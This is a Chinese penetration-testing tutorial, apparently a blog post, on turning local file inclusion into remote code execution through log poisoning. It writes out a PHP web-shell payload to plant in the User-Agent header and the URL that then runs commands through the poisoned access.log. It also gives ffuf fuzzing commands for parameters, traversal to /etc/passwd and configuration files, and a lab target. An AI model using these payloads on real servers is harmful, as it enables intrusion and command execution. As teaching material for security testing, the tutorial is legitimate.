这一节中我们将学习payload包含到Apache和Nginx服务器的log 文件里,然后还是利用LFI漏洞去执行我们的payload,获取到RCE,我们需要了解web 服务器的log 文件是记录每次我们对web 服务器的请求信息,有两个log文件需要知道,如下:
access.log:这个文件是记录每次我们对web 服务器的请求信息
error.log:这个文件是当我们的请求发生错误的时候,用来记录错误信息

我们还需要了解在每次的http request请求头中,”User-Agent”这个头的信息可以被包含到我们的服务器的log文件里,因此,我们可以利用这个原理把我们的payload包含到服务器的access.log文件中,在利用LFI漏洞的函数去访问这个文件,这样我们就能获取到RCE

默认的log文件的路径如下:
Linux系统:
Apache : ”/var/log/apache2/”
Nginx : “/var/log/nginx/”

Windows系统:
Apache : “C:\xampp\apache\logs\”
Nginx : “C:\nginx\log\”

Tips:在有些场景中,log文件可能不在默认路径下,我们可以FUZZ扫描,从而找到log文件的所在路径,FUZZ的详细讲解我会出一个专题,这里不做讲解

这里以上述场景为例,开始讲解利用的方法:
这里我们可以利用一个web代理工具”burpsuite”来拦截我们的Request请求,然后修改User-Agent这个头文件的值,如下:

User-Agent:<?php system($_GET['cmd']); ?>

然后,我们继续发送我们修改好的Request请求到服务器

最后我们构造URL,然后利用LFI漏洞函数来访问我们的access.log文件,如下:
http://www.lfi.com/index.php?page=/var/log/apache2/access.log&cmd=<command>

Tips:这里对burpsuite工具的使用不做详细讲解,后面我会出专题进行讲解

另外在linux系统下还有一个文件也需要知道”/proc/self/environ”或者”/proc/self/fd/N”(‘N’是PID值,通常是0-50之间的一个数),我们也可以利用这个文件包含我们的payload,还是修改User-Agent这个头文件的值,这样我们就能包含payload到这个文件中去,一般是当我们没有权限去读服务器的access.log文件时,可以尝试使用这个文件包含

拓展:Log poisoning 技术还可以利用系统的其他log文件,例如:ssh,ftp,mail这些方法类似,前提是log文件必须有读权限,原理就是包含payload到log文件中,然后我们就可以利用LFI漏洞函数去访问这个文件来获取到RCE
这里列出这些文件的默认路径,如下:
ssh : ”/var/log/sshd.log”
Mail : “/var/log/mail”
ftp : “/var/log/vsftpd.log”

Tips: ssh和ftp服务,我们可以用payload作为我们的用户名进行连接,这样就把payload包含到他们的log文件中去了,对于mail 服务,我们发送一个包含payload的电子邮件到服务器,这样payload就被包含到log文件中了,最后在利用LFI漏洞函数访问这个文件,就能获取到RCE

自动化工具讲解

上面我们讲解的全部都是手动测试和攻击的方法,这些方法要好好掌握,这是基础,这一节我们要讲一些自动化的扫描和攻击的工具,来提高我们做渗透测试的效率,针对不同类型的漏洞,已经有前辈们给我们编写出了专门的工具,这里主要针对LFI漏洞的一些自动化工具讲解

Tips:这里介绍下ffuf这个工具的简单使用,后面我会出专题专门讲解这个工具的一些用法,这里不做过多讲解

在有些场景里面,像page这个参数也许不会显示出来,显示出来的参数都是些没有用的,不能和后台服务器进行交互,在这样的一些场景中,FUZZ方法就显得非常有用了,可以帮助我们暴露出实际与后端服务器进行交互的关键参数,我们还是用上述场景

1.1 FUZZ 参数

步骤一:
命令如下:

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u ' http://www.lfi.com/index.php?FUZZ=value' -ac

结果如下:
…SNIP…

:: Method : GET
:: URL : http://www.lfi.com/index.php?FUZZ=value
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: xxx


page [Status: xxx, Size: xxx, Words: xxx, Lines: xxx]

这样我们就能扫描出page参数

1.2测试参数LFI漏洞

步骤二:
命令如下:

ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u ' http://www.lfi.com/index.php?page=FUZZ' -ac

结果如下:

…SNIP…

:: Method : GET
:: URL : http://www.lfi.com/index.php?page=FUZZ
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: xxx


…%2F…%2F…%2F%2F…%2F…%2Fetc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
…/…/…/…/…/…/…/…/…/…/…/…/etc/hosts [Status: 200, Size: 2461, Words: 636, Lines: 72]
…SNIP…

然后我们用给出的payload,手动测试验证是否成功,成功我们就能判断这个位置存在LFI漏洞,然后我们可以利用上述手动攻击的方式来获取RCE,这里我们可以直接利用一些自动化攻击工具,例如:LFISuite,LFITreak,liffy,lfimap.py
关于这些工具的使用,大家可以先自行研究,后续我会出专题讲解具体使用方法,本文不做过多讲解,这里主要是介绍LFI漏洞的利用

拓展:我们可以利用FUZZ扫描出更多对我们有用的信息,例如,服务器的目录或者服务器的配置文件,对我们进行渗透攻击都是非常有帮助的,下面我们来介绍下怎么扫描出网站的目录和网站的一些配置文件,如下:

Fuzz 网站目录,命令如下:

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u'http://www.lfi.com/index.php?page=../../../../FUZZ/index.php' -ac

Fuzz网站配置文件,命令如下:

ffuf -w ./LFI-WordList-Linux:FUZZ -u ' http://www.lfi.com/index.php?page=../../../../FUZZ' -ac

至此,关于LFI漏洞的基础以全部讲解完毕,最后给大家一个实战练习,以此来巩固下这里学到的各种技术,后面我会陆续发布专题,继续讲解各种漏洞产生原因和利用方法,还有各种工具的使用,感谢大家阅读

实战训练:

通过上述所学技术,获取远程代码执行(RCE)在目标靶机根目录下(/)找到flag
目标靶机:188.166.168.88:31435(可能已经过期,想实验的可以留言)

Write Up已上传,需要的可以下载,自己先尝试下攻击,祝你成功!

Tip:这是我自己的一些学习总结,本文创作不易,希望可以帮助感兴趣的同学

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

renu08

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值